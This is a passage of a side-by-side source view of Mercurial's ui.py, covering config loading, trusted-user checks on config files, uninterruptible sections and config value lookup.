272 | self._terminfoparams = src._terminfoparams.copy() |
|
272 | self._terminfoparams = src._terminfoparams.copy() | |
273 | self._styles = src._styles.copy() |
|
273 | self._styles = src._styles.copy() | |
274 |
|
274 | |||
275 | self.fixconfig() |
|
275 | self.fixconfig() | |
276 |
|
276 | |||
277 | self.httppasswordmgrdb = src.httppasswordmgrdb |
|
277 | self.httppasswordmgrdb = src.httppasswordmgrdb | |
278 | self._blockedtimes = src._blockedtimes |
|
278 | self._blockedtimes = src._blockedtimes | |
279 | else: |
|
279 | else: | |
280 | self._fout = procutil.stdout |
|
280 | self._fout = procutil.stdout | |
281 | self._ferr = procutil.stderr |
|
281 | self._ferr = procutil.stderr | |
282 | self._fin = procutil.stdin |
|
282 | self._fin = procutil.stdin | |
283 | self._fmsg = None |
|
283 | self._fmsg = None | |
284 | self._fmsgout = self.fout # configurable |
|
284 | self._fmsgout = self.fout # configurable | |
285 | self._fmsgerr = self.ferr # configurable |
|
285 | self._fmsgerr = self.ferr # configurable | |
286 | self._finoutredirected = False |
|
286 | self._finoutredirected = False | |
287 | self._loggers = {} |
|
287 | self._loggers = {} | |
288 | self.pageractive = False |
|
288 | self.pageractive = False | |
289 | self._disablepager = False |
|
289 | self._disablepager = False | |
290 | self._tweaked = False |
|
290 | self._tweaked = False | |
291 |
|
291 | |||
292 | # shared read-only environment |
|
292 | # shared read-only environment | |
293 | self.environ = encoding.environ |
|
293 | self.environ = encoding.environ | |
294 |
|
294 | |||
295 | self.httppasswordmgrdb = httppasswordmgrdbproxy() |
|
295 | self.httppasswordmgrdb = httppasswordmgrdbproxy() | |
296 | self._blockedtimes = collections.defaultdict(int) |
|
296 | self._blockedtimes = collections.defaultdict(int) | |
297 |
|
297 | |||
298 | allowed = self.configlist(b'experimental', b'exportableenviron') |
|
298 | allowed = self.configlist(b'experimental', b'exportableenviron') | |
299 | if b'*' in allowed: |
|
299 | if b'*' in allowed: | |
300 | self._exportableenviron = self.environ |
|
300 | self._exportableenviron = self.environ | |
301 | else: |
|
301 | else: | |
302 | self._exportableenviron = {} |
|
302 | self._exportableenviron = {} | |
303 | for k in allowed: |
|
303 | for k in allowed: | |
304 | if k in self.environ: |
|
304 | if k in self.environ: | |
305 | self._exportableenviron[k] = self.environ[k] |
|
305 | self._exportableenviron[k] = self.environ[k] | |
306 |
|
306 | |||
307 | def _new_source(self): |
|
307 | def _new_source(self): | |
308 | self._ocfg.new_source() |
|
308 | self._ocfg.new_source() | |
309 | self._tcfg.new_source() |
|
309 | self._tcfg.new_source() | |
310 | self._ucfg.new_source() |
|
310 | self._ucfg.new_source() | |
311 |
|
311 | |||
312 | @classmethod |
|
312 | @classmethod | |
313 | def load(cls): |
|
313 | def load(cls): | |
314 | """Create a ui and load global and user configs""" |
|
314 | """Create a ui and load global and user configs""" | |
315 | u = cls() |
|
315 | u = cls() | |
316 | # we always trust global config files and environment variables |
|
316 | # we always trust global config files and environment variables | |
317 | for t, f in rcutil.rccomponents(): |
|
317 | for t, f in rcutil.rccomponents(): | |
318 | if t == b'path': |
|
318 | if t == b'path': | |
319 | u.readconfig(f, trust=True) |
|
319 | u.readconfig(f, trust=True) | |
320 | elif t == b'resource': |
|
320 | elif t == b'resource': | |
321 | u.read_resource_config(f, trust=True) |
|
321 | u.read_resource_config(f, trust=True) | |
322 | elif t == b'items': |
|
322 | elif t == b'items': | |
323 | u._new_source() |
|
323 | u._new_source() | |
324 | sections = set() |
|
324 | sections = set() | |
325 | for section, name, value, source in f: |
|
325 | for section, name, value, source in f: | |
326 | # do not set u._ocfg |
|
326 | # do not set u._ocfg | |
327 | # XXX clean this up once immutable config object is a thing |
|
327 | # XXX clean this up once immutable config object is a thing | |
328 | u._tcfg.set(section, name, value, source) |
|
328 | u._tcfg.set(section, name, value, source) | |
329 | u._ucfg.set(section, name, value, source) |
|
329 | u._ucfg.set(section, name, value, source) | |
330 | sections.add(section) |
|
330 | sections.add(section) | |
331 | for section in sections: |
|
331 | for section in sections: | |
332 | u.fixconfig(section=section) |
|
332 | u.fixconfig(section=section) | |
333 | else: |
|
333 | else: | |
334 | raise error.ProgrammingError(b'unknown rctype: %s' % t) |
|
334 | raise error.ProgrammingError(b'unknown rctype: %s' % t) | |
335 | u._maybetweakdefaults() |
|
335 | u._maybetweakdefaults() | |
336 | u._new_source() # anything after that is a different level |
|
336 | u._new_source() # anything after that is a different level | |
337 | return u |
|
337 | return u | |
338 |
|
338 | |||
339 | def _maybetweakdefaults(self): |
|
339 | def _maybetweakdefaults(self): | |
340 | if not self.configbool(b'ui', b'tweakdefaults'): |
|
340 | if not self.configbool(b'ui', b'tweakdefaults'): | |
341 | return |
|
341 | return | |
342 | if self._tweaked or self.plain(b'tweakdefaults'): |
|
342 | if self._tweaked or self.plain(b'tweakdefaults'): | |
343 | return |
|
343 | return | |
344 |
|
344 | |||
345 | # Note: it is SUPER IMPORTANT that you set self._tweaked to |
|
345 | # Note: it is SUPER IMPORTANT that you set self._tweaked to | |
346 | # True *before* any calls to setconfig(), otherwise you'll get |
|
346 | # True *before* any calls to setconfig(), otherwise you'll get | |
347 | # infinite recursion between setconfig and this method. |
|
347 | # infinite recursion between setconfig and this method. | |
348 | # |
|
348 | # | |
349 | # TODO: We should extract an inner method in setconfig() to |
|
349 | # TODO: We should extract an inner method in setconfig() to | |
350 | # avoid this weirdness. |
|
350 | # avoid this weirdness. | |
351 | self._tweaked = True |
|
351 | self._tweaked = True | |
352 | tmpcfg = config.config() |
|
352 | tmpcfg = config.config() | |
353 | tmpcfg.parse(b'<tweakdefaults>', tweakrc) |
|
353 | tmpcfg.parse(b'<tweakdefaults>', tweakrc) | |
354 | for section in tmpcfg: |
|
354 | for section in tmpcfg: | |
355 | for name, value in tmpcfg.items(section): |
|
355 | for name, value in tmpcfg.items(section): | |
356 | if not self.hasconfig(section, name): |
|
356 | if not self.hasconfig(section, name): | |
357 | self.setconfig(section, name, value, b"<tweakdefaults>") |
|
357 | self.setconfig(section, name, value, b"<tweakdefaults>") | |
358 |
|
358 | |||
359 | def copy(self): |
|
359 | def copy(self): | |
360 | return self.__class__(self) |
|
360 | return self.__class__(self) | |
361 |
|
361 | |||
362 | def resetstate(self): |
|
362 | def resetstate(self): | |
363 | """Clear internal state that shouldn't persist across commands""" |
|
363 | """Clear internal state that shouldn't persist across commands""" | |
364 | if self._progbar: |
|
364 | if self._progbar: | |
365 | self._progbar.resetstate() # reset last-print time of progress bar |
|
365 | self._progbar.resetstate() # reset last-print time of progress bar | |
366 | self.httppasswordmgrdb = httppasswordmgrdbproxy() |
|
366 | self.httppasswordmgrdb = httppasswordmgrdbproxy() | |
367 |
|
367 | |||
368 | @contextlib.contextmanager |
|
368 | @contextlib.contextmanager | |
369 | def timeblockedsection(self, key): |
|
369 | def timeblockedsection(self, key): | |
370 | # this is open-coded below - search for timeblockedsection to find them |
|
370 | # this is open-coded below - search for timeblockedsection to find them | |
371 | starttime = util.timer() |
|
371 | starttime = util.timer() | |
372 | try: |
|
372 | try: | |
373 | yield |
|
373 | yield | |
374 | finally: |
|
374 | finally: | |
375 | self._blockedtimes[key + b'_blocked'] += ( |
|
375 | self._blockedtimes[key + b'_blocked'] += ( | |
376 | util.timer() - starttime |
|
376 | util.timer() - starttime | |
377 | ) * 1000 |
|
377 | ) * 1000 | |
378 |
|
378 | |||
379 | @contextlib.contextmanager |
|
379 | @contextlib.contextmanager | |
380 | def uninterruptible(self): |
|
380 | def uninterruptible(self): | |
381 | """Mark an operation as unsafe. |
|
381 | """Mark an operation as unsafe. | |
382 |
|
382 | |||
383 | Most operations on a repository are safe to interrupt, but a |
|
383 | Most operations on a repository are safe to interrupt, but a | |
384 | few are risky (for example repair.strip). This context manager |
|
384 | few are risky (for example repair.strip). This context manager | |
385 | lets you advise Mercurial that something risky is happening so |
|
385 | lets you advise Mercurial that something risky is happening so | |
386 | that control-C etc can be blocked if desired. |
|
386 | that control-C etc can be blocked if desired. | |
387 | """ |
|
387 | """ | |
388 | enabled = self.configbool(b'experimental', b'nointerrupt') |
|
388 | enabled = self.configbool(b'experimental', b'nointerrupt') | |
389 | if enabled and self.configbool( |
|
389 | if enabled and self.configbool( | |
390 | b'experimental', b'nointerrupt-interactiveonly' |
|
390 | b'experimental', b'nointerrupt-interactiveonly' | |
391 | ): |
|
391 | ): | |
392 | enabled = self.interactive() |
|
392 | enabled = self.interactive() | |
393 | if self._uninterruptible or not enabled: |
|
393 | if self._uninterruptible or not enabled: | |
394 | # if nointerrupt support is turned off, the process isn't |
|
394 | # if nointerrupt support is turned off, the process isn't | |
395 | # interactive, or we're already in an uninterruptible |
|
395 | # interactive, or we're already in an uninterruptible | |
396 | # block, do nothing. |
|
396 | # block, do nothing. | |
397 | yield |
|
397 | yield | |
398 | return |
|
398 | return | |
399 |
|
399 | |||
400 | def warn(): |
|
400 | def warn(): | |
401 | self.warn(_(b"shutting down cleanly\n")) |
|
401 | self.warn(_(b"shutting down cleanly\n")) | |
402 | self.warn( |
|
402 | self.warn( | |
403 | _(b"press ^C again to terminate immediately (dangerous)\n") |
|
403 | _(b"press ^C again to terminate immediately (dangerous)\n") | |
404 | ) |
|
404 | ) | |
405 | return True |
|
405 | return True | |
406 |
|
406 | |||
407 | with procutil.uninterruptible(warn): |
|
407 | with procutil.uninterruptible(warn): | |
408 | try: |
|
408 | try: | |
409 | self._uninterruptible = True |
|
409 | self._uninterruptible = True | |
410 | yield |
|
410 | yield | |
411 | finally: |
|
411 | finally: | |
412 | self._uninterruptible = False |
|
412 | self._uninterruptible = False | |
413 |
|
413 | |||
414 | def formatter(self, topic, opts): |
|
414 | def formatter(self, topic, opts): | |
415 | return formatter.formatter(self, self, topic, opts) |
|
415 | return formatter.formatter(self, self, topic, opts) | |
416 |
|
416 | |||
417 | def _trusted(self, fp, f): |
|
417 | def _trusted(self, fp, f): | |
418 | st = util.fstat(fp) |
|
418 | st = util.fstat(fp) | |
419 | if util.isowner(st): |
|
419 | if util.isowner(st): | |
420 | return True |
|
420 | return True | |
421 |
|
421 | |||
422 | tusers, tgroups = self._trustusers, self._trustgroups |
|
422 | tusers, tgroups = self._trustusers, self._trustgroups | |
423 | if b'*' in tusers or b'*' in tgroups: |
|
423 | if b'*' in tusers or b'*' in tgroups: | |
424 | return True |
|
424 | return True | |
425 |
|
425 | |||
426 | user = util.username(st.st_uid) |
|
426 | user = util.username(st.st_uid) | |
427 | group = util.groupname(st.st_gid) |
|
427 | group = util.groupname(st.st_gid) | |
428 | if user in tusers or group in tgroups or user == util.username(): |
|
428 | if user in tusers or group in tgroups or user == util.username(): | |
429 | return True |
|
429 | return True | |
430 |
|
430 | |||
431 | if self._reportuntrusted: |
|
431 | if self._reportuntrusted: | |
432 | self.warn( |
|
432 | self.warn( | |
433 | _( |
|
433 | _( | |
434 | b'not trusting file %s from untrusted ' |
|
434 | b'not trusting file %s from untrusted ' | |
435 | b'user %s, group %s\n' |
|
435 | b'user %s, group %s\n' | |
436 | ) |
|
436 | ) | |
437 | % (f, user, group) |
|
437 | % (f, user, group) | |
438 | ) |
|
438 | ) | |
439 | return False |
|
439 | return False | |
440 |
|
440 | |||
441 | def read_resource_config( |
|
441 | def read_resource_config( | |
442 | self, name, root=None, trust=False, sections=None, remap=None |
|
442 | self, name, root=None, trust=False, sections=None, remap=None | |
443 | ): |
|
443 | ): | |
444 | try: |
|
444 | try: | |
445 | fp = resourceutil.open_resource(name[0], name[1]) |
|
445 | fp = resourceutil.open_resource(name[0], name[1]) | |
446 | except IOError: |
|
446 | except IOError: | |
447 | if not sections: # ignore unless we were looking for something |
|
447 | if not sections: # ignore unless we were looking for something | |
448 | return |
|
448 | return | |
449 | raise |
|
449 | raise | |
450 |
|
450 | |||
451 | self._readconfig( |
|
451 | self._readconfig( | |
452 | b'resource:%s.%s' % name, fp, root, trust, sections, remap |
|
452 | b'resource:%s.%s' % name, fp, root, trust, sections, remap | |
453 | ) |
|
453 | ) | |
454 |
|
454 | |||
455 | def readconfig( |
|
455 | def readconfig( | |
456 | self, filename, root=None, trust=False, sections=None, remap=None |
|
456 | self, filename, root=None, trust=False, sections=None, remap=None | |
457 | ): |
|
457 | ): | |
458 | try: |
|
458 | try: | |
459 | fp = open(filename, 'rb') |
|
459 | fp = open(filename, 'rb') | |
460 | except IOError: |
|
460 | except IOError: | |
461 | if not sections: # ignore unless we were looking for something |
|
461 | if not sections: # ignore unless we were looking for something | |
462 | return |
|
462 | return | |
463 | raise |
|
463 | raise | |
464 |
|
464 | |||
465 | self._readconfig(filename, fp, root, trust, sections, remap) |
|
465 | self._readconfig(filename, fp, root, trust, sections, remap) | |
466 |
|
466 | |||
467 | def _readconfig( |
|
467 | def _readconfig( | |
468 | self, filename, fp, root=None, trust=False, sections=None, remap=None |
|
468 | self, filename, fp, root=None, trust=False, sections=None, remap=None | |
469 | ): |
|
469 | ): | |
470 | with fp: |
|
470 | with fp: | |
471 | cfg = config.config() |
|
471 | cfg = config.config() | |
472 | trusted = sections or trust or self._trusted(fp, filename) |
|
472 | trusted = sections or trust or self._trusted(fp, filename) | |
473 |
|
473 | |||
474 | try: |
|
474 | try: | |
475 | cfg.read(filename, fp, sections=sections, remap=remap) |
|
475 | cfg.read(filename, fp, sections=sections, remap=remap) | |
476 | except error.ConfigError as inst: |
|
476 | except error.ConfigError as inst: | |
477 | if trusted: |
|
477 | if trusted: | |
478 | raise |
|
478 | raise | |
479 | self.warn( |
|
479 | self.warn( | |
480 | _(b'ignored %s: %s\n') % (inst.location, inst.message) |
|
480 | _(b'ignored %s: %s\n') % (inst.location, inst.message) | |
481 | ) |
|
481 | ) | |
482 |
|
482 | |||
483 | self._applyconfig(cfg, trusted, root) |
|
483 | self._applyconfig(cfg, trusted, root) | |
484 |
|
484 | |||
485 | def applyconfig(self, configitems, source=b"", root=None): |
|
485 | def applyconfig(self, configitems, source=b"", root=None): | |
486 | """Add configitems from a non-file source. Unlike with ``setconfig()``, |
|
486 | """Add configitems from a non-file source. Unlike with ``setconfig()``, | |
487 | they can be overridden by subsequent config file reads. The items are |
|
487 | they can be overridden by subsequent config file reads. The items are | |
488 | in the same format as ``configoverride()``, namely a dict of the |
|
488 | in the same format as ``configoverride()``, namely a dict of the | |
489 | following structures: {(section, name) : value} |
|
489 | following structures: {(section, name) : value} | |
490 |
|
490 | |||
491 | Typically this is used by extensions that inject themselves into the |
|
491 | Typically this is used by extensions that inject themselves into the | |
492 | config file load procedure by monkeypatching ``localrepo.loadhgrc()``. |
|
492 | config file load procedure by monkeypatching ``localrepo.loadhgrc()``. | |
493 | """ |
|
493 | """ | |
494 | cfg = config.config() |
|
494 | cfg = config.config() | |
495 |
|
495 | |||
496 | for (section, name), value in configitems.items(): |
|
496 | for (section, name), value in configitems.items(): | |
497 | cfg.set(section, name, value, source) |
|
497 | cfg.set(section, name, value, source) | |
498 |
|
498 | |||
499 | self._applyconfig(cfg, True, root) |
|
499 | self._applyconfig(cfg, True, root) | |
500 |
|
500 | |||
501 | def _applyconfig(self, cfg, trusted, root): |
|
501 | def _applyconfig(self, cfg, trusted, root): | |
502 | if self.plain(): |
|
502 | if self.plain(): | |
503 | for k in ( |
|
503 | for k in ( | |
504 | b'debug', |
|
504 | b'debug', | |
505 | b'fallbackencoding', |
|
505 | b'fallbackencoding', | |
506 | b'quiet', |
|
506 | b'quiet', | |
507 | b'slash', |
|
507 | b'slash', | |
508 | b'logtemplate', |
|
508 | b'logtemplate', | |
509 | b'message-output', |
|
509 | b'message-output', | |
510 | b'statuscopies', |
|
510 | b'statuscopies', | |
511 | b'style', |
|
511 | b'style', | |
512 | b'traceback', |
|
512 | b'traceback', | |
513 | b'verbose', |
|
513 | b'verbose', | |
514 | ): |
|
514 | ): | |
515 | if k in cfg[b'ui']: |
|
515 | if k in cfg[b'ui']: | |
516 | del cfg[b'ui'][k] |
|
516 | del cfg[b'ui'][k] | |
517 | for k, v in cfg.items(b'defaults'): |
|
517 | for k, v in cfg.items(b'defaults'): | |
518 | del cfg[b'defaults'][k] |
|
518 | del cfg[b'defaults'][k] | |
519 | for k, v in cfg.items(b'commands'): |
|
519 | for k, v in cfg.items(b'commands'): | |
520 | del cfg[b'commands'][k] |
|
520 | del cfg[b'commands'][k] | |
521 | for k, v in cfg.items(b'command-templates'): |
|
521 | for k, v in cfg.items(b'command-templates'): | |
522 | del cfg[b'command-templates'][k] |
|
522 | del cfg[b'command-templates'][k] | |
523 | # Don't remove aliases from the configuration if in the exceptionlist |
|
523 | # Don't remove aliases from the configuration if in the exceptionlist | |
524 | if self.plain(b'alias'): |
|
524 | if self.plain(b'alias'): | |
525 | for k, v in cfg.items(b'alias'): |
|
525 | for k, v in cfg.items(b'alias'): | |
526 | del cfg[b'alias'][k] |
|
526 | del cfg[b'alias'][k] | |
527 | if self.plain(b'revsetalias'): |
|
527 | if self.plain(b'revsetalias'): | |
528 | for k, v in cfg.items(b'revsetalias'): |
|
528 | for k, v in cfg.items(b'revsetalias'): | |
529 | del cfg[b'revsetalias'][k] |
|
529 | del cfg[b'revsetalias'][k] | |
530 | if self.plain(b'templatealias'): |
|
530 | if self.plain(b'templatealias'): | |
531 | for k, v in cfg.items(b'templatealias'): |
|
531 | for k, v in cfg.items(b'templatealias'): | |
532 | del cfg[b'templatealias'][k] |
|
532 | del cfg[b'templatealias'][k] | |
533 |
|
533 | |||
534 | if trusted: |
|
534 | if trusted: | |
535 | self._tcfg.update(cfg) |
|
535 | self._tcfg.update(cfg) | |
536 | self._tcfg.update(self._ocfg) |
|
536 | self._tcfg.update(self._ocfg) | |
537 | self._ucfg.update(cfg) |
|
537 | self._ucfg.update(cfg) | |
538 | self._ucfg.update(self._ocfg) |
|
538 | self._ucfg.update(self._ocfg) | |
539 |
|
539 | |||
540 | if root is None: |
|
540 | if root is None: | |
541 | root = os.path.expanduser(b'~') |
|
541 | root = os.path.expanduser(b'~') | |
542 | self.fixconfig(root=root) |
|
542 | self.fixconfig(root=root) | |
543 |
|
543 | |||
544 | def fixconfig(self, root=None, section=None): |
|
544 | def fixconfig(self, root=None, section=None): | |
545 | if section in (None, b'paths'): |
|
545 | if section in (None, b'paths'): | |
546 | # expand vars and ~ |
|
546 | # expand vars and ~ | |
547 | # translate paths relative to root (or home) into absolute paths |
|
547 | # translate paths relative to root (or home) into absolute paths | |
548 | root = root or encoding.getcwd() |
|
548 | root = root or encoding.getcwd() | |
549 | for c in self._tcfg, self._ucfg, self._ocfg: |
|
549 | for c in self._tcfg, self._ucfg, self._ocfg: | |
550 | for n, p in c.items(b'paths'): |
|
550 | for n, p in c.items(b'paths'): | |
551 | old_p = p |
|
551 | old_p = p | |
552 | s = self.configsource(b'paths', n) or b'none' |
|
552 | s = self.configsource(b'paths', n) or b'none' | |
553 | root_key = (n, p, s) |
|
553 | root_key = (n, p, s) | |
554 | if root_key not in self._path_to_root: |
|
554 | if root_key not in self._path_to_root: | |
555 | self._path_to_root[root_key] = root |
|
555 | self._path_to_root[root_key] = root | |
556 | # Ignore sub-options. |
|
556 | # Ignore sub-options. | |
557 | if b':' in n: |
|
557 | if b':' in n: | |
558 | continue |
|
558 | continue | |
559 | if not p: |
|
559 | if not p: | |
560 | continue |
|
560 | continue | |
561 | if b'%%' in p: |
|
561 | if b'%%' in p: | |
562 | if s is None: |
|
562 | if s is None: | |
563 | s = 'none' |
|
563 | s = 'none' | |
564 | self.warn( |
|
564 | self.warn( | |
565 | _(b"(deprecated '%%' in path %s=%s from %s)\n") |
|
565 | _(b"(deprecated '%%' in path %s=%s from %s)\n") | |
566 | % (n, p, s) |
|
566 | % (n, p, s) | |
567 | ) |
|
567 | ) | |
568 | p = p.replace(b'%%', b'%') |
|
568 | p = p.replace(b'%%', b'%') | |
569 | if p != old_p: |
|
569 | if p != old_p: | |
570 | c.alter(b"paths", n, p) |
|
570 | c.alter(b"paths", n, p) | |
571 |
|
571 | |||
572 | if section in (None, b'ui'): |
|
572 | if section in (None, b'ui'): | |
573 | # update ui options |
|
573 | # update ui options | |
574 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
574 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) | |
575 | self.debugflag = self.configbool(b'ui', b'debug') |
|
575 | self.debugflag = self.configbool(b'ui', b'debug') | |
576 | self.verbose = self.debugflag or self.configbool(b'ui', b'verbose') |
|
576 | self.verbose = self.debugflag or self.configbool(b'ui', b'verbose') | |
577 | self.quiet = not self.debugflag and self.configbool(b'ui', b'quiet') |
|
577 | self.quiet = not self.debugflag and self.configbool(b'ui', b'quiet') | |
578 | if self.verbose and self.quiet: |
|
578 | if self.verbose and self.quiet: | |
579 | self.quiet = self.verbose = False |
|
579 | self.quiet = self.verbose = False | |
580 | self._reportuntrusted = self.debugflag or self.configbool( |
|
580 | self._reportuntrusted = self.debugflag or self.configbool( | |
581 | b"ui", b"report_untrusted" |
|
581 | b"ui", b"report_untrusted" | |
582 | ) |
|
582 | ) | |
583 | self.showtimestamp = self.configbool(b'ui', b'timestamp-output') |
|
583 | self.showtimestamp = self.configbool(b'ui', b'timestamp-output') | |
584 | self.tracebackflag = self.configbool(b'ui', b'traceback') |
|
584 | self.tracebackflag = self.configbool(b'ui', b'traceback') | |
585 | self.logblockedtimes = self.configbool(b'ui', b'logblockedtimes') |
|
585 | self.logblockedtimes = self.configbool(b'ui', b'logblockedtimes') | |
586 |
|
586 | |||
587 | if section in (None, b'trusted'): |
|
587 | if section in (None, b'trusted'): | |
588 | # update trust information |
|
588 | # update trust information | |
589 | self._trustusers.update(self.configlist(b'trusted', b'users')) |
|
589 | self._trustusers.update(self.configlist(b'trusted', b'users')) | |
590 | self._trustgroups.update(self.configlist(b'trusted', b'groups')) |
|
590 | self._trustgroups.update(self.configlist(b'trusted', b'groups')) | |
591 |
|
591 | |||
592 | if section in (None, b'devel', b'ui') and self.debugflag: |
|
592 | if section in (None, b'devel', b'ui') and self.debugflag: | |
593 | tracked = set() |
|
593 | tracked = set() | |
594 | if self.configbool(b'devel', b'debug.extensions'): |
|
594 | if self.configbool(b'devel', b'debug.extensions'): | |
595 | tracked.add(b'extension') |
|
595 | tracked.add(b'extension') | |
596 | if tracked: |
|
596 | if tracked: | |
597 | logger = loggingutil.fileobjectlogger(self._ferr, tracked) |
|
597 | logger = loggingutil.fileobjectlogger(self._ferr, tracked) | |
598 | self.setlogger(b'debug', logger) |
|
598 | self.setlogger(b'debug', logger) | |
599 |
|
599 | |||
600 | def backupconfig(self, section, item): |
|
600 | def backupconfig(self, section, item): | |
601 | return ( |
|
601 | return ( | |
602 | self._ocfg.backup(section, item), |
|
602 | self._ocfg.backup(section, item), | |
603 | self._tcfg.backup(section, item), |
|
603 | self._tcfg.backup(section, item), | |
604 | self._ucfg.backup(section, item), |
|
604 | self._ucfg.backup(section, item), | |
605 | ) |
|
605 | ) | |
606 |
|
606 | |||
607 | def restoreconfig(self, data): |
|
607 | def restoreconfig(self, data): | |
608 | self._ocfg.restore(data[0]) |
|
608 | self._ocfg.restore(data[0]) | |
609 | self._tcfg.restore(data[1]) |
|
609 | self._tcfg.restore(data[1]) | |
610 | self._ucfg.restore(data[2]) |
|
610 | self._ucfg.restore(data[2]) | |
611 |
|
611 | |||
612 | def setconfig(self, section, name, value, source=b''): |
|
612 | def setconfig(self, section, name, value, source=b''): | |
613 | for cfg in (self._ocfg, self._tcfg, self._ucfg): |
|
613 | for cfg in (self._ocfg, self._tcfg, self._ucfg): | |
614 | cfg.set(section, name, value, source) |
|
614 | cfg.set(section, name, value, source) | |
615 | self.fixconfig(section=section) |
|
615 | self.fixconfig(section=section) | |
616 | self._maybetweakdefaults() |
|
616 | self._maybetweakdefaults() | |
617 |
|
617 | |||
618 | def _data(self, untrusted): |
|
618 | def _data(self, untrusted): | |
619 | return untrusted and self._ucfg or self._tcfg |
|
619 | return untrusted and self._ucfg or self._tcfg | |
620 |
|
620 | |||
621 | def configsource(self, section, name, untrusted=False): |
|
621 | def configsource(self, section, name, untrusted=False): | |
622 | return self._data(untrusted).source(section, name) |
|
622 | return self._data(untrusted).source(section, name) | |
623 |
|
623 | |||
624 | def config(self, section, name, default=_unset, untrusted=False): |
|
624 | def config(self, section, name, default=_unset, untrusted=False): | |
625 | """return the plain string version of a config""" |
|
625 | """return the plain string version of a config""" | |
626 | value = self._config( |
|
626 | value = self._config( | |
627 | section, name, default=default, untrusted=untrusted |
|
627 | section, name, default=default, untrusted=untrusted | |
628 | ) |
|
628 | ) | |
629 | if value is _unset: |
|
629 | if value is _unset: | |
630 | return None |
|
630 | return None | |
631 | return value |
|
631 | return value | |
632 |
|
632 | |||
633 | def _config(self, section, name, default=_unset, untrusted=False): |
|
633 | def _config(self, section, name, default=_unset, untrusted=False): | |
634 | value = itemdefault = default |
|
634 | value = itemdefault = default | |
635 | item = self._knownconfig.get(section, {}).get(name) |
|
635 | item = self._knownconfig.get(section, {}).get(name) | |
636 | alternates = [(section, name)] |
|
636 | alternates = [(section, name)] | |
637 |
|
637 | |||
638 | if item is not None: |
|
638 | if item is not None: | |
639 | alternates.extend(item.alias) |
|
639 | alternates.extend(item.alias) | |
640 | if callable(item.default): |
|
640 | if callable(item.default): | |
641 | itemdefault = item.default() |
|
641 | itemdefault = item.default() | |
642 | else: |
|
642 | else: | |
643 | itemdefault = item.default |
|
643 | itemdefault = item.default | |
644 | else: |
|
644 | else: | |
645 | msg = b"accessing unregistered config item: '%s.%s'" |
|
645 | msg = b"accessing unregistered config item: '%s.%s'" | |
646 | msg %= (section, name) |
|
646 | msg %= (section, name) | |
647 | self.develwarn(msg, 2, b'warn-config-unknown') |
|
647 | self.develwarn(msg, 2, b'warn-config-unknown') | |
648 |
|
648 | |||
649 | if default is _unset: |
|
649 | if default is _unset: | |
650 | if item is None: |
|
650 | if item is None: | |
651 | value = default |
|
651 | value = default | |
652 | elif item.default is configitems.dynamicdefault: |
|
652 | elif item.default is configitems.dynamicdefault: | |
653 | value = None |
|
653 | value = None | |
654 | msg = b"config item requires an explicit default value: '%s.%s'" |
|
654 | msg = b"config item requires an explicit default value: '%s.%s'" | |
655 | msg %= (section, name) |
|
655 | msg %= (section, name) | |
656 | self.develwarn(msg, 2, b'warn-config-default') |
|
656 | self.develwarn(msg, 2, b'warn-config-default') | |
657 | else: |
|
657 | else: | |
658 | value = itemdefault |
|
658 | value = itemdefault | |
659 | elif ( |
|
659 | elif ( | |
660 | item is not None |
|
660 | item is not None | |
661 | and item.default is not configitems.dynamicdefault |
|
661 | and item.default is not configitems.dynamicdefault | |
662 | and default != itemdefault |
|
662 | and default != itemdefault | |
663 | ): |
|
663 | ): | |
664 | msg = ( |
|
664 | msg = ( | |
665 | b"specifying a mismatched default value for a registered " |
|
665 | b"specifying a mismatched default value for a registered " | |
666 | b"config item: '%s.%s' '%s'" |
|
666 | b"config item: '%s.%s' '%s'" | |
667 | ) |
|
667 | ) | |
668 | msg %= (section, name, pycompat.bytestr(default)) |
|
668 | msg %= (section, name, pycompat.bytestr(default)) | |
669 | self.develwarn(msg, 2, b'warn-config-default') |
|
669 | self.develwarn(msg, 2, b'warn-config-default') | |
670 |
|
670 | |||
671 | candidates = [] |
|
671 | candidates = [] | |
672 | config = self._data(untrusted) |
|
672 | config = self._data(untrusted) | |
673 | for s, n in alternates: |
|
673 | for s, n in alternates: | |
674 | candidate = config.get(s, n, None) |
|
674 | candidate = config.get(s, n, None) | |
675 | if candidate is not None: |
|
675 | if candidate is not None: | |
676 | candidates.append((s, n, candidate)) |
|
676 | candidates.append((s, n, candidate)) | |
677 | if candidates: |
|
677 | if candidates: | |
678 |
|
678 | |||
679 | def level(x): |
|
679 | def level(x): | |
680 | return config.level(x[0], x[1]) |
|
680 | return config.level(x[0], x[1]) | |
681 |
|
681 | |||
682 | value = max(candidates, key=level)[2] |
|
682 | value = max(candidates, key=level)[2] | |
683 |
|
683 | |||
684 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
684 | if self.debugflag and not untrusted and self._reportuntrusted: | |
685 | for s, n in alternates: |
|
685 | for s, n in alternates: | |
686 | uvalue = self._ucfg.get(s, n) |
|
686 | uvalue = self._ucfg.get(s, n) | |
687 | if uvalue is not None and uvalue != value: |
|
687 | if uvalue is not None and uvalue != value: | |
688 | self.debug( |
|
688 | self.debug( | |
689 | b"ignoring untrusted configuration option " |
|
689 | b"ignoring untrusted configuration option " | |
690 | b"%s.%s = %s\n" % (s, n, uvalue) |
|
690 | b"%s.%s = %s\n" % (s, n, uvalue) | |
691 | ) |
|
691 | ) | |
692 | return value |
|
692 | return value | |
693 |
|
693 | |||
694 | def config_default(self, section, name): |
|
694 | def config_default(self, section, name): | |
695 | """return the default value for a config option |
|
695 | """return the default value for a config option | |
696 |
|
696 | |||
697 | The default is returned "raw", for example if it is a callable, the |
|
697 | The default is returned "raw", for example if it is a callable, the | |
698 | callable was not called. |
|
698 | callable was not called. | |
699 | """ |
|
699 | """ | |
700 | item = self._knownconfig.get(section, {}).get(name) |
|
700 | item = self._knownconfig.get(section, {}).get(name) | |
701 |
|
701 | |||
702 | if item is None: |
|
702 | if item is None: | |
703 | raise KeyError((section, name)) |
|
703 | raise KeyError((section, name)) | |
704 | return item.default |
|
704 | return item.default | |
705 |
|
705 | |||
706 | def configsuboptions(self, section, name, default=_unset, untrusted=False): |
|
706 | def configsuboptions(self, section, name, default=_unset, untrusted=False): | |
707 | """Get a config option and all sub-options. |
|
707 | """Get a config option and all sub-options. | |
708 |
|
708 | |||
709 | Some config options have sub-options that are declared with the |
|
709 | Some config options have sub-options that are declared with the | |
710 | format "key:opt = value". This method is used to return the main |
|
710 | format "key:opt = value". This method is used to return the main | |
711 | option and all its declared sub-options. |
|
711 | option and all its declared sub-options. | |
712 |
|
712 | |||
